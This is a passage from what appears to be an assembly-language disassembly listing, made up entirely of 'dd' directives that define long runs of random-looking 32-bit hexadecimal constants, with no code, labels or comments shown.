42E2ADFEh, 0F8265F4Dh dd 3DD78214h, 139B11C4h, 6EBAE1F1h, 9A48F5A6h, 132F7159h dd 71C0424Dh, 91358166h, 741E0925h, 97040BE6h, 0C8694C4h dd 8AAEBB12h, 3EF09DE4h, 8C2EE984h, 0A6EC199Bh, 6D11EB0Ah dd 0DAC80C21h, 265E2F77h, 0C135E28h, 82BE7F49h, 48333D9h dd 5FEFDEDh, 0FC485608h, 4ADDFB02h, 0C974B553h, 51B24ABAh dd 7DEE91ABh, 8EE5BD71h, 0A05874DDh, 7D8E03A2h, 0F142A366h dd 0C152BB5Fh, 800F14D1h, 657C7810h, 0CB3120CDh, 7D595CA2h dd 0DE267A13h, 80110DA0h, 14CEB284h, 0A5FF2290h, 0E04669ECh dd 3C522D26h, 17269CAAh, 0D546D5ACh, 79E430E4h, 200CDEDEh dd 0E89A6434h, 0F511E32Ch, 8FDFB0ADh, 767208DFh, 85155358h dd 0A7439DEh, 0A6035C08h, 67AC1224h, 52D3D736h, 38020CF9h dd 0B9CDB6C4h, 42BF6FE5h, 296AFC11h, 7434672Dh, 64B91EDEh dd 94B2BD55h, 2652BBA8h, 4F7F8521h, 0A64B099Ch, 94133735h dd 26E4EDD5h, 1701541Bh, 0C2CB1D85h, 0B482A29Bh, 0BF1991EEh dd 0D9DBEA81h, 0BD7EAD1Ch, 8FAFE018h, 0ECB53CC0h, 0D2F6A37Fh dd 0A6ECE1E8h, 7E2FD241h, 32B4E4C9h, 308C275Bh, 0F83F95FDh dd 0CE531DA7h, 0E3C6B63h, 19E56240h, 45FDA7F2h, 586234F8h dd 363C8457h, 0E719B668h, 30FDC893h, 0E16E1423h, 276D54F6h dd 0EAA51A06h, 129CCB15h, 0DAFD6BA0h, 0ECEF759Bh, 0A437A472h dd 0A5BCC5CCh, 0FE4B4966h, 54AF818Fh, 171DB85Dh, 8343185Fh dd 0E9448B07h, 0A23499A7h, 80739409h, 51F17FA6h, 0F5A9E041h dd 7A3B25D6h, 92A24736h, 27F71920h, 0D2D58EB4h, 9BBC5F40h dd 66B049BAh, 0F8A252F2h, 57E713C3h, 0BD68F30Ah, 0DBD8AEB3h dd 0E88DF482h, 0D6F72C2Ah, 1B88A5A2h, 0C8D3092Ch, 31FC38D7h dd 98AFE854h, 0B9F861D4h, 4F187109h, 5BEC8E9Ch, 6B7B0937h dd 0CBFF92DBh, 0B8787C16h, 0B7A4BEA4h, 84597AF8h, 0AA02F1EFh dd 0BC6CEF69h, 0E3517D55h, 66B4D1C3h, 72046660h, 76444B7Eh dd 12E512C9h, 0B2D46912h, 9563F9FEh, 0CF54006Eh, 0C66A8BA0h dd 0FC582888h, 0A481FCF9h, 0D2D9B9DDh, 257ED57Eh, 779425AEh dd 2D4BEB0Dh, 71388121h, 360A8AA9h, 17515ACCh, 0C2B522F9h dd 956A3F9Ah, 10AF8800h, 9ACBE26Ah, 44CE845Fh, 7CE411CAh dd 128320ABh, 0DF8287A1h, 36B4EF0Dh, 6142D454h, 40A98197h dd 0AED347BFh, 0CFA34C12h, 2C70FB11h, 710EA848h, 0AABF6839h dd 2D5018C0h, 0E91F0934h, 74AE1B64h, 97F07FD1h, 4A78CA87h dd 8AF8254h, 6F3EC3D1h, 1CB54282h, 0F78E7BC4h, 113A5241h dd 6454FEA0h, 0A6326B71h, 0C0B0458Dh, 423A77AEh, 0A04DE3B7h dd 0DE9A1F2h, 0A1113683h, 4595DABEh, 3F60DFC9h, 974EC5EEh dd 51B0913Ah, 0FD55BE32h, 62CE5FFh, 0FE0C0267h, 0B44989B1h dd 85FAC79Dh, 0A5C98CAh, 4435EBE3h, 0C5B5013Eh, 833982D5h dd 7BD68E53h, 0BBD7EF54h, 0C41B46B5h, 0C9163BEBh, 0F60EF84Ch dd 0CAF1CE36h, 0B2D28D24h, 334C1AE9h, 0F33BCD5Ah, 1DD65FE1h dd 24F8C08Bh, 8F23A5CFh dd 0FEB0C2CAh, 0D0A5F463h, 0BC050B94h, 5C2E6193h, 8607FDEEh dd 8E442A3Fh, 0DC92E745h, 328FF1ACh, 0B876A20Ch, 0B0ADE69Dh dd 0A07B1FC6h, 4B24D6CCh, 0F1EB6AE3h, 7EE7DA7Eh, 0A4C747F9h dd 22035A49h, 3077DD22h, 657BB0AAh, 0D3D5FDD7h, 0D22C7AE4h dd 0CDD96BA6h, 0C55CF921h, 0FFE93DEDh, 0D33919E1h, 17B34359h dd 2E8F6D1Eh, 1E57EAF3h, 0C3374C44h, 6CBC1CB3h, 0FEDFBE5Ah dd 17F1FCCEh, 32EF905h, 467E6976h, 0AB094588h, 83329E52h dd 81E4CB49h, 6136C40Fh, 0EFD379D2h, 0B3F67513h, 6769A0CCh dd 0E02D2649h, 0A757FE29h, 0A4B22B1Fh, 41F66939h, 2EE935FFh dd 80693666h, 9D7873B7h, 0E376077Ah, 0DAFD813Dh, 0C8625DB4h dd 918FAF67h, 42228465h, 0D06876A0h, 2576FB3Dh, 0AAC289B3h dd 6D333B26h, 5C50B89h, 0B95E1EA4h, 0DB7A5524h, 6A71649h dd 0CF67BCF3h, 63B6E914h, 22F410Ch, 8D90C055h, 0EA487BC7h dd 24FFC03Ah, 6526CD9Eh, 0A2CC5918h, 7E3C5B36h, 88A7DD7Bh dd 38C06AE9h, 64D62328h, 5AC5509Eh, 0FD9262E8h, 9601B996h dd 0C6FD479Ah, 0F739B7E9h, 5E81B777h, 90391287h, 0AA324456h dd 0FF76A784h, 7567FDF1h, 4E1D0B6Fh, 19E845BBh, 0ACAEB60h dd 0CD8CC80Ah, 455E2832h, 6823C787h, 93E96107h, 4D47EF06h dd 0BC8B8DA0h, 72392800h, 7BDE0BD2h, 0C9904F19h, 144E7F94h dd 0FC12A63h, 43628EE4h, 76A60270h, 4676BA46h, 9FF319F2h dd 58049204h, 2F93208Ah, 0FE56CBA7h, 9C3F9553h, 0A204D26Bh dd 3E528356h, 1DCD6DDDh, 0CC9B6B6Eh, 4CAA9EF5h, 0BF54A097h dd 5FACE2E8h, 758E35DBh, 0A1998BCCh, 0E9F4D098h, 60917348h dd 4361036Dh, 4511167Ch, 7EA758C6h, 7C01CFC6h, 28EAEC4h dd 6662E4EFh, 3594B0E5h, 0B645ABD4h, 44EACCDDh, 0A3C49F6Bh dd 82E3AD76h, 0C2BA721Dh, 0D0910B88h, 8CCF0CC3h, 0AA2BEBF3h dd 63C9A19Dh, 0AB933C57h, 0DF37B0Ah, 79B36D6Fh, 54B2F477h dd 0D0E445AFh, 1A72C8EFh, 0ED3EF612h, 6F118B88h, 0E95CC5B4h dd 1B34FAB1h, 5A6F81CBh, 0B700A8C2h, 0BF2569FFh, 66AC7258h dd 0E86B7576h, 71B68D1Eh, 78127819h, 0D37A1D68h, 3CE58C90h dd 0DEF1803Bh, 124CD1D1h, 6E45A4B4h, 6742168h, 3CAC037Dh dd 68F2BA62h, 77090EDAh, 0DF96C2C3h, 7265234Bh, 2BD9D7C8h dd 33525087h, 7E64D4ACh, 0B135316h, 97B7532Fh, 5C57B7E8h dd 4B91AAC4h, 405DB59Ch, 0EA871932h, 1889C13Dh, 0BD8230F5h dd 5C16910Fh, 22AC7B88h, 2FF91AE2h, 0A6381310h, 0E777B6CDh dd 73E052EEh, 0DB4BCE96h, 8E59D114h, 10BA8227h, 0D828BBA3h dd 22BAE20Dh, 0DD4B2C77h, 48DC8616h, 40867120h, 0AC0A3CB9h dd 9A0476E7h, 0D30C077Ch, 0A7E790A4h, 31641105h, 8AF0500Fh dd 91BA2B3Fh, 0BADFC01Bh, 0F48DDC4Eh, 314C9A6Ch, 0C08AF171h dd 0D235BCDBh, 0B538673Ch, 0A40E85C4h, 2C72B240h, 2BE0224Fh dd 0B1AEC948h, 0A70CF24Dh, 71BE8D86h, 6C3DEF14h, 0D1E40DDh dd 677C90C4h, 0DE188C6Bh, 4693102Ah, 0DFF785BCh, 8E80730Ch dd 2D002ED1h, 0C071F872h, 78A6AD5Eh, 1062DE1Fh, 5F2F39E0h dd 0E2AD9024h, 9E3487A5h, 85C89D0Dh, 0F022C28Dh, 0AD43343Ah dd 2607D6A1h, 0ED83AA75h, 7CC6C791h, 6CC61C0Ah, 0A46B3B7Dh dd 6C605AB8h, 5D405FB2h, 173C72CAh, 0D9EF96E5h, 610A2CCCh dd 0C0FE278h, 0E7FEACh, 5D5B748Bh, 77E10A64h, 6EBE05C4h dd 91AD1DAFh, 0EAD6DEB8h, 0D2AEF582h, 0C3DF6B4Eh, 0E0A664EAh dd 55AC410Fh, 60F3C7Ch, 0CD1BD205h, 1F326D1Ch, 13F55CB3h dd 0A45046D8h, 97408BDFh, 9305502Fh, 39C5CAE8h, 55729563h dd 0CC1D5A6Fh, 2D7642Ch, 44211181h, 0EEB04A86h, 7D085C4Bh dd 0EB89DC62h, 0B510A77Eh, 0A25157DCh, 68F49F0Ah, 0E98DD62Ah dd 92B772Dh, 17104B41h, 786B7EAh, 0B8ADA9F1h, 2D7059E7h dd 53BD69Ah, 7DF6E38Dh, 5C998518h, 0FA1F96C2h, 0D7972145h dd 94B07304h, 37B3BD1Dh, 47978DAEh, 0EB1EA69Eh, 6FC3552h dd 83AC184Fh, 2032CF5Eh, 7A749A02h, 0F25A6BCDh, 3FAE5E9Dh dd 0FA01991Dh, 0DF75DAFEh, 2A5A1365h, 0E27C57B2h, 5F111146h dd 13F7051Eh, 8E77942h, 0A9B15DF8h, 0A4714E25h, 0BD69A47Fh dd 0DDF37D45h, 0D16C41FCh, 4EC06BAFh, 6E79D081h, 2462AF07h dd 2A7548C9h, 33428527h, 4A9B8358h, 0A4D1F770h, 6B47CB11h dd 0BCDD9054h, 66D9B1BCh, 0EF942126h, 5E0AF3CBh, 8C9A959Dh dd 0A17208CAh, 0AF329385h, 78469C3h, 0E39384DCh, 0C6189D1h dd 0F0859BC0h, 8EF5066Ch, 6DF6E240h, 0ECDDFB51h, 0F674BB2Eh dd 8A5988F2h, 7EED4675h, 27B3FDFFh, 0A1A2D1DCh, 657B0E77h dd 9430DFC7h, 826BD327h, 74C4B7FFh, 0CE4AABCAh, 105C3A07h dd 0C203FF14h, 0D79B9084h, 855F3B2Fh, 10B658D9h, 82CD2762h dd 0A32D678Ah, 0AECC1EF5h, 5EF8E371h, 314783FEh, 7BE27678h dd 3C4FDA68h, 0BC7B8BE0h, 0CA555E5Eh, 0C739919Dh, 49CBF856h dd 97F38F00h, 7FCAA63Dh, 2F4002DCh, 0BD000FEh, 912C4C8Dh dd 8598F016h, 69981CA2h, 0A6F1EA11h, 32E305EFh, 7475A8B1h dd 0ED9BE0F3h, 8F49899h, 0CAF98616h, 1C6D937Bh, 92BE6DB4h dd 0ADF8961Ch, 0F1887460h, 5F750E9Dh, 0AD0F7C42h, 0C7E52D60h dd 0ACC4C018h, 7F115A25h, 202E33EEh, 3A3CCFA5h, 5C7D463h dd 7A0906AFh, 0B5AF3019h, 880745E8h, 0F61E4E98h, 0F31AD078h dd 0A1847CFh, 9C68FEE7h, 567D019Ah, 0B32236CFh, 0E23465E7h dd 0F7AFBE2h, 34E69288h, 86B66E48h, 8292F02h, 0A672D365h dd 340A4B2Bh, 76ACEC10h, 2C0631A5h, 326D93Bh, 34867D37h dd 85225EEEh, 6EDCA319h, 0F1A01B19h, 0B68D4C38h, 0D53A5016h dd 38D71EADh, 41528458h, 7348F881h, 0EB52C749h, 12C3CA47h dd 65713B66h, 9B30C004h, 0C0034F41h, 1CA7D491h, 4E2BF4FCh dd 99F41FFDh, 38CBEDC4h, 754844D8h, 802F2648h, 5956EEA9h dd 617FCF82h, 0E6E7D240h, 5A192EF6h, 0E99B3304h, 0C782143Bh dd 20E7BCA5h, 740191C0h, 28BF94E2h, 0CA79CB34h, 504640F8h dd 86F4D228h, 0E2EB3A67h, 0AE02213Ah, 925C1804h, 11962E22h dd 48E827EDh, 0DDCF909Ch, 26F505AEh, 0F376A5E0h, 8C6E40A0h dd 0AB74C287h, 95F06CD1h, 0AF6DD183h, 0C6401971h, 0A582800h dd 6F7C4ADh, 4F1B2FA7h, 916F458Ch, 53C6FE7Dh, 8C7AD03Fh dd 0F493EFB9h, 6135846Fh, 0D69FA1F6h, 0EF54534Dh, 0F4092441h dd 2821249Dh, 0FED4D95Bh, 0F1E5AF27h, 9C6F5ACAh, 0C965A166h dd 6E2FE2E8h, 0A5706166h, 9BCF81DCh, 75334E65h, 0CE1AA97h dd 56565D43h, 4B8F957Ah, 0DB5E6847h, 924AD6E0h, 20785C4Dh dd 0C7846553h, 69EE5015h, 5DF23C50h, 9B665418h, 9F4956FFh dd 8F44B93Fh, 3BC63B30h, 8C7EC88Dh, 429142D5h, 35B9E396h dd 0FC4C312Ch, 7CD675ECh, 0DE890431h, 0E3A4E349h, 705E4D06h dd 0F9EF5DD2h, 0AF4860D5h, 51840468h, 262832Bh, 0B4A5B85h dd 0D99BD978h, 38058305h, 640E285Bh, 0D5F4480Eh, 5F3304CCh dd 0F395983h, 0F7B3D43Fh, 0CCF80E23h, 7B8C75A1h, 82CEC668h dd 0E2B22526h, 45D56024h, 0D4016EC7h, 0CE3A006Bh, 68236Eh dd 93B22AE5h, 0BE4D62A6h, 0E3705179h, 5DAE44F3h, 8A94AA77h dd 151B7EA7h, 9FB86899h, 2410183Dh, 4D8529Ch, 31D60B79h dd 6A7EC5ABh, 0C11BA271h, 591E8E70h, 2B6F9447h, 19CDA799h dd 9572D90h, 5807D873h, 36F4AA62h, 0C13262F1h, 6E230E06h dd 0F59F272Dh, 0C25688E7h dd 0B030A264h, 501500DAh, 0AEF113C4h, 62BE04Fh, 2A3FD42Ch dd 0F5EA21F3h, 2A72F3C6h, 0B15EE179h, 7FCF1FC2h, 0AA3A9404h dd 0CF5D4C5Ah, 6CCDC559h, 0ADBD0455h, 0FF2ADFBFh, 0EA6B0AC8h dd 8CB64769h, 8CE11AD5h, 66BFA793h, 8682F04Ah, 0C5C49039h dd 23A2211Eh, 0EFF9B46Dh, 2F0894A6h, 45FD01B3h, 3780BDC2h dd 0CBD6417Ah, 0FA34BEB9h, 9B29E227h, 0C3EA9552h, 9949D3C8h dd 0F5A48C81h, 0A51A84E3h, 3901F802h, 526C20B5h, 85EB61ECh dd 0A3B51888h, 0E0FC8B53h, 8B23426h, 0C40E12A5h, 0C9D798BEh dd 28C0EF50h, 0FB3BD243h, 79A9BC8Ch, 871A4F18h, 5BF0ABF3h dd 3C3F6832h, 2F088179h, 7DB74538h, 0FC9F7462h, 0ACB2E89Ch dd 99073FBCh, 0CE2971CBh, 57B412B3h, 0CDFF8BE2h, 0BA6D0A73h dd 0DD03FE2Bh, 0EF62B577h, 8F236A07h, 0A27A1A55h, 2567769Eh dd 589E026Eh, 7C27D9F0h, 20019666h, 5E5E9FD2h, 385E5846h dd 2EE05FD7h, 0DD4E258h, 35889D4Dh, 0C38D345Ch, 56D8BCBFh dd 962698C2h, 980B578h, 93555B68h, 23580A7Ah, 0ADAA20ABh dd 7A954420h, 0ED3B5C69h, 10487EBh, 664EDF16h, 0E0D24D64h dd 0E30FC918h, 0B96B80D5h, 38218215h, 7B0F71CAh, 0B8B1DC89h dd 8DC599EBh, 9E377879h, 1311D7DBh, 69F79E1Fh, 4EF90449h dd 45E5CFE7h, 0BF3FD937h, 99CE3C36h, 0FCD48424h, 5DFD6A42h dd 3836BA4Dh, 6D597FF8h, 1A2DF08Eh, 0FE100E0Fh, 0A6F61D94h dd 1527F3B2h, 4BB5511Dh, 81DABD7Dh, 67F2C461h, 0E85B35DAh dd 67C7661Eh, 219372F5h, 455BA188h, 0D7FEF7A2h, 8510F1B5h dd 0B3F983BFh, 356115E1h, 39A97D21h, 111F3EA0h, 647BD1Eh dd 85E2C3DAh, 57B1AB3Ah, 103E8CF0h, 0F3B1DAE2h, 8C9AC652h dd 5843C6DEh, 468A3482h, 83841ED9h, 9DB861C1h, 1679965Fh dd 0E21B2962h, 0AE13A378h, 97EDD1C0h, 0CE083961h, 0A36C4960h dd 6249C6AAh, 0D16FC596h, 3E8EE996h, 24AC229Eh, 6C9FC635h dd 0F4B69C85h, 5816491Ch, 0E46C5F19h, 5B7BDD82h, 0A14FE6A8h dd 98C4DA9Ah, 2292E9E8h, 0ADFFBEDFh, 4032E5A8h, 96FB933Dh dd 8D8DFE75h, 57611816h, 0EABC157Dh, 492D975Dh, 0F8E60F6Bh dd 0C5F74477h, 53C8A4D9h, 1D0059B7h, 59B22062h, 76065A9Ch dd 709A651h, 5553680Bh, 3CE7F2EBh, 8E2C8989h, 3E965062h dd 0B7DA51F7h, 0EF506AAAh, 0BE5F4F19h, 20E7A7F8h, 0C3DAC7D3h dd 28FCAED1h, 8BA18042h, 0DC93FFDFh, 9AF884C0h, 0DAC392A1h dd 3D68652Bh, 0DB81DD28h, 21C86FB6h, 0C47DE774h, 0D670E066h dd 3A2F0EC0h, 0AD502411h, 0ECDAA26h, 1508B2D5h, 0A7134053h dd 80E7CE60h, 0AD15F0A7h, 0B984A3C2h, 0E214903Dh, 60FE0566h dd 70661D8Ah, 3B41DAA8h, 1B92F27Dh, 4426F908h, 5950FD4Fh dd 36614294h, 1FACD27Fh, 0A1A08823h, 2BC6BAC3h, 0FBA66E4Fh dd 6732DC36h, 1217961h, 8B10CA6Bh, 0D277B344h, 3A894ACFh dd 69B8AF9Eh, 0F93AD698h, 1D06A4h, 6ECD9386h, 8445EB6Bh dd 66731D0Bh, 0C1F5A778h, 0E7860FD5h, 0D74AFF0Ah, 0A0FDD748h dd 8B7BE0AFh, 0DA1A9E14h, 8E76B377h, 9874C550h, 0C5D78E8Ah dd 97E624Bh, 0AA4090A1h, 0CF4DCD89h, 0C8575E8Bh, 0B5546335h dd 0B2F83E40h, 0A3D3D289h, 0BA74458Ah, 77D4AAA6h, 0A706E682h dd 4E3FC3A8h, 38F5A05h, 0EED2C95Eh, 38319927h, 0E67B3518h dd 0DEB9C07h, 5BBDDAE6h, 7FA595F9h, 7CF5F109h, 1E28BE63h dd 252C9F87h, 0BF301FDAh, 0F96005F0h, 1F978D4Dh, 416EFD57h dd 0CDA4FF71h, 0ECDE161Fh, 570D71Ch, 0ADB14A0Ch, 204B650Dh dd 6DB9EFAh, 1363F5E7h, 60B15FF5h, 0C20BE0CAh, 0F085ECCDh dd 6ED280F5h, 7E9B96A8h, 10999364h, 77292BEAh, 0CBB5149Ah dd 9EA4F1F5h, 0B95E8A92h, 70EEB9EFh, 9002E9AFh, 0C65BB28Fh dd 751FF4B3h, 0BD67EC17h, 0C2FCEA09h, 0ED205EE5h, 534D5028h dd 50ADC49Bh, 0AA7E0E56h, 8B81C118h, 50C040A0h, 0E6458D2Bh dd 17C4D5F7h, 154FBA9Ah, 578440E8h, 0C653A3B3h, 41FDAEC5h dd 0B10E1523h, 0C775C8A0h, 554B2171h, 0D39448A1h, 73EB9B56h dd 0EAEFB834h, 0C0D3958Ch, 3AF16405h, 6A17F075h, 10747D89h dd 9D8CA74Ah, 0C66F171Fh, 5BBF2A4Eh, 0AF72EF0Dh, 45F6F4DEh dd 0D0AB7F8h, 0B50FC251h, 2458981Ah, 0DE0DC69h, 3A67C9A1h dd 48DC5894h, 0FAC6ADB1h, 59E1BE4Eh, 0CE60756Fh, 5BB9982h dd 603AC2D5h, 1D7DD07Ah, 5354F937h, 3586D550h, 3264095Ah dd 71DC3938h, 937A78DDh, 4C6F1A8h, 971D7EA6h, 8065A037h dd 0AD329E3h, 1B138BCh, 0E69E455Ch, 0FFE3E382h, 88DB8C84h dd 7EDF4089h, 46AF4370h, 67994548h, 473B3CA6h, 5C5ADEB9h dd 0FAE26751h, 0F0BF954Ch, 0B42BBDAEh, 905BC6A2h, 26B8739Eh dd 2BA03937h, 139DD6B8h, 0BA24B571h, 9EAE3BD1h, 12CAE567h dd 0BEBA826Ah, 3B05F02Ch, 5BE92CCh, 8E97D626h, 0EE360ED8h dd 326BCB6Dh, 0E6E2C9E4h, 718A0C48h, 4E36DD89h, 66A67DD9h dd 0BB7259D3h, 1A9CF3F9h, 3DDEB399h, 0F9DBCD9Bh, 550E45B3h dd 0EDAD4026h, 0AF31F3EEh, 0F4660C72h, 161BF45Dh, 820C3D40h dd 30924687h, 575397FCh, 9822FFBCh, 3DBD4766h, 0F4FF6609h dd 0A51E3F59h, 76BF4043h, 66C86155h, 0F2C290D3h, 0EA15FD9Fh dd 9748212Bh, 4FB447F0h, 0E56D4A2Eh, 0D17BA524h, 0C8F3D069h dd 0D7283086h, 505FA626h, 7EDBFCDFh, 0A3D5BFF1h, 0A693A5A3h dd 0F820AF5Bh, 16675907h, 0AF99BDDBh, 54563E56h, 0B4184956h dd 6419A14Ch, 8DEFD114h, 7572797Ah, 5B877CCDh, 23687E96h dd 2B96A6C5h, 0C5C5CB14h, 12363983h, 71FE89Dh, 0A2D6EA76h dd 0FC8CEF68h, 9CABB580h, 83A72E18h, 52C20C6Dh, 67D02E0Bh dd 121043FDh, 5CEE2E73h, 6E1EE311h, 3A40C767h, 0EDE60C41h dd 8C265E7Ah, 869A11B5h, 65769297h, 799DAB1Bh, 2BCF9051h dd 0F1FB1EA2h, 0D7ED9E6Ch, 0FF93929Ch, 8445A1B3h, 976A360Fh dd 2C86DDC4h, 14D7863Fh, 1DFAA266h, 0AD9FBFAFh, 2A9CCCA2h dd 8EF75259h, 0AA07FA64h, 0BD0D44C5h, 488611F9h, 3D68D48Fh dd 7D3BD8E0h, 2F9541A7h, 0F96ED41h, 0CA0326F1h, 2CA0AC8Ch dd 5DE6FC38h, 0E436B092h, 2F9B837h, 0BB399F92h, 49AD9D67h dd 33447345h, 0DFBFCC79h, 0C97161E0h, 10B2711Ah, 3B473DCh dd 0EE98D2EAh, 0A6F5C602h, 88657B6Eh, 39C35E3Ch, 6F2D5805h dd 0E765A942h, 7D762B49h, 6F97834Ah, 0AD1ACB3Ch, 0BEBEE6DAh dd 409B3943h, 0FB44B4C5h, 15AF74CEh, 1B3BC9E4h, 3B691966h dd 0A366C0A2h, 1C621ACFh, 5AF9ABDFh, 3A642DD7h, 4AF286C8h dd 43B72640h, 0F9CC6197h, 243D4F9Ah, 2910DF0Eh, 0E92C3AF5h dd 0FC48A235h, 0A556F969h, 868A2E35h, 0D49F32BDh, 2F176E48h dd 0BC4637C4h, 0EEAD19BBh, 0B1D3AD83h, 0ED89D83Bh, 0A478E884h dd 9B1DD865h, 69ECA6EDh, 0DB7F3AE2h, 0A1D4714Dh, 2074C582h dd 8BF969ECh, 27F3B0CEh, 12F348D8h, 5D5AB29Eh, 0B27FBB54h dd 0EF21725Dh, 0EC835027h, 3970E178h, 0B167815Ah, 97D43CFBh dd 4E186BEh, 0B9AC42F2h, 0DBD80D5h, 0E8A29CB7h, 3058D6DCh dd 0AEFAFB6Dh, 0A697BBF7h, 8497AF75h, 8B64179Eh, 18356CFBh dd 0E7889A25h, 0C8296AF9h, 378E648Dh, 27118D8h, 0AF452043h dd 248CDA79h, 0DB795E15h, 139A25DBh, 2CC15C7Bh, 1E1CD46Eh dd 8A780A96h, 0B9BAC81Dh, 0E7CB2D20h, 5BDBA102h, 6EF09F6Ah dd 461FC573h, 927A0361h, 0CF16EEF1h, 0FD174079h, 49B9DC4Dh dd 7B9EE46Ah, 0C5B80F36h dd 7D0C96Bh, 0E11C4419h, 4556DAA8h, 0E6778841h, 4E272BB1h dd 0B79F1092h, 6C4861F8h, 7D903A6Eh, 797CE8Dh, 0B03720h dd 8D19B3A6h, 0EAE97BEBh, 50F65E53h, 65F3134h, 4D962E5Ch dd 0CCACE7DAh, 0DF7589D7h, 55DD5574h, 0E9A3B8E5h, 73697541h dd 43FF1021h, 0A4939AEBh, 98CB6E8Fh, 5B1517E0h, 0A70962F7h dd 0BC71D48Ah, 8895632Fh, 1425259Fh, 8ADE04D5h, 5570790Dh dd 54E0759Eh, 87D20AFBh, 20A2FB9Fh, 4F553B70h, 0F23A16A9h dd 7062078Fh, 95B4EF45h, 0FE8C9CD5h, 7C28ADB6h, 25478ABCh dd 7F51CE90h, 2294CB0Bh, 0FB83E380h, 4A2C0741h, 0C81C8AD3h dd 0F0F8454Fh, 0D7DA6082h, 7D1BFF40h, 2B5737F6h, 0E1816099h dd 0FC0563CDh, 0A5C34306h, 4D185A1Eh, 13B5B3F2h, 0D675D1C2h dd 4946B3F9h, 0B925574Ch, 3293F9Ch, 0CE62B254h, 426EBFA8h dd 1DAFEF0Eh, 0DF8E0DA4h, 3FBA5A5Fh, 3CC11BA2h, 0DFB5C99Dh dd 1EBBC2CBh, 0F6B357EEh, 68F3E8FEh, 686FC6B3h, 0B32F89BAh dd 64CCF4A8h, 9738FB90h, 295F2089h, 0E3495C9Eh, 0F94459B2h dd 294E1512h, 7DCAA9BBh, 0A9417ED4h, 9B5A343Ch, 18154EAh dd 44D99099h, 48F42E8Ch, 2C6BBB0Dh, 0C290FC36h, 31D1B3C8h dd 0E4642B17h, 931731h, 0C16F69A1h, 3A51AA65h, 0C93ACFB5h dd 0E5A12850h, 30FC471Fh, 0D7BFC48Ah, 0BD99E33Dh, 803C92E2h dd 76124B3Ah, 6ADC0B9Eh, 5B4EFECCh, 81B3CAB5h, 3030E703h dd 0C8AAF505h, 5171D31h, 0F68BCCDFh, 142D3E95h, 0D3268A0h dd 6A147A8Bh, 27D20EE5h, 0FF40B1E2h, 8F8ECDB2h, 0BE7534E0h dd 0EF8A8920h, 0E9FD2F1Bh, 0C37EEC6Dh, 0B10CACAh, 4F434515h dd 0B0CCAA18h, 3FD1B896h, 0AAF92FF4h, 94DDF492h, 6E05FB0Bh dd 0F5892FB5h, 0E773C4FEh, 5AB5C87h, 1B20F51Dh, 0FDC8246Dh dd 0A3E5B948h, 1C64CB8Eh, 0A682FA8Fh, 0E0ED16FAh, 328730B0h dd 0D1833DC8h, 9EDA6EBFh, 0CEE38C03h, 8DE311E8h, 5081CA4Ch dd 87B0FC0Dh, 0D95CBD8Eh, 0BD4A0B30h, 0A96AE476h, 21C71D5Dh dd 0CB38F834h, 0B03F1F5Bh, 0CE617F79h, 0D195C0CFh, 0A1F41DEFh dd 22C8A5A6h, 0B93EE556h, 0EEC08BC0h, 0D72C33DAh, 20D7B7E6h dd 7FB569B6h, 597AC069h, 0ED297799h, 68A7DB28h, 9737D026h dd 8521E0Ah, 851829A5h, 99935E44h, 61293AE9h, 4B6BF578h dd 4979CB5Dh, 8E6A032Ah, 0FAEBEA15h, 0AB1C6359h, 1D0B8DB9h dd 413A1BBEh, 5B43D61h, 0DF51A491h, 84154D9Eh, 0DAD0538Eh dd 6E3B559Ch, 0D8BDDF36h, 0A1E246Eh, 6B05AF61h, 0F62B01C8h dd 43387CAEh, 408F1FB9h, 40E93F02h, 99BB7655h, 0ACDBE18Eh dd 9C7EC4BCh, 66293A32h, 0E566DE9Ah, 5E709465h, 0DD6A374Ah dd 2FC3FD50h, 0F1FE3657h, 0EB95C14Ah, 4ABDAF29h, 30600D2Ah dd 0C97CE675h, 0C3187013h, 483ED266h, 0D5BBB1CFh, 2D8C6716h dd 93DF701h, 59A6B45Ah, 0DDC302F1h, 2BCCA083h, 3BE9867Dh dd 5825AFD3h, 975EC1F3h, 9145B853h, 0CF7D024Eh, 7A6D102Dh dd 0AF9D5772h, 0B01F1AEBh, 0FCAE0EDBh, 3B443262h, 91E667EAh dd 5E2B6866h, 0C2B6C7DAh, 34110F9Ch, 715F822Fh, 11663562h dd 20F10447h, 0D4EE341h, 0BF811800h, 0D551F3DCh, 0F44C0FEAh dd 6A363998h, 62EB9DE1h, 0D35166C4h, 0FAF45F97h, 0B0813F5Eh dd 0AE098DC6h, 3EC7C470h, 0BB97196Ah, 69F61D1Dh, 6FB77B65h dd 1C370B47h, 7D769211h, 5E3BBE08h, 63CE54FFh, 9DF49EF2h dd 6B70A4A3h, 60585481h, 8BF977A7h, 613E3C98h, 67138FD2h dd 0CC593A77h, 0CACA213Eh, 6A2863D3h, 359F12C8h, 57508A7Fh dd 48C4DCD6h, 4E94DE77h, 0AEE4A7E7h, 1EC2F37Eh, 898FDC2Eh dd 77D2650Bh, 2771FEFDh, 2AF9B2A3h, 21654DACh, 0A415B671h dd 1B55DCB1h, 19F8F21Eh, 0C1A3D972h, 6B24D8A8h, 0BD89AECCh dd 54787820h, 4E8E1C68h, 0DCB5AD41h, 52FF25B4h, 0C8135734h dd 0C52A3EB8h, 0C932D0CEh, 0EB335C83h, 8E482F4Eh, 95FDD812h dd 0DFAB6D0Bh, 3921F595h, 0A8308DA4h, 6D0F5915h, 0C792F0FDh dd 7CB9F53Bh, 0F720EB58h, 0F2A59F93h, 98FF1C2Ah, 0C32F1EFBh dd 886163B8h, 64764CCFh, 0D3B87C50h, 5BAE58F8h, 0BCAD47BCh dd 751468ECh, 0ABAEA8A2h, 0F07B9126h, 0D5B69782h, 0B6B6CE5Ch dd 0B7452C8Bh, 0CE49490Ch, 0E27CBBB4h, 98FF2662h, 28E157Fh dd 7D9D0432h, 0C8440086h, 0C771AF93h, 0D1F5C1DCh, 0A2686E99h dd 14AB6A98h, 130B5B8Eh, 0DB36F3BDh, 2E6EF025h, 787C5E78h dd 0E28A549Fh, 657CD9E2h, 0AECC9865h, 0FCB95E47h, 6CD82583h dd 0BE7ED3D3h, 0E8DDA9FDh, 493394CDh, 0AB74760Ah, 0E32D3F48h dd 53C0F5C1h, 0FFF11BEEh, 0DF90FFA4h, 4FFE02B2h, 748A100h dd 29A2300Ch, 40E8E74Ah, 0C1EF8B0Dh, 14AA4D88h, 27851F0Eh dd 0C9383A8Ch, 0E42ECF68h, 5D5BB29Eh, 90632C09h, 0FD96EF8Eh dd 1FC88463h, 9ED0B438h, 0C4D4FDD6h, 2ED66189h, 0A665DD8Dh dd 455EA129h, 0EC250426h, 897D4579h, 10DD5C3Ah, 8151E00Ah dd 7BD460CBh, 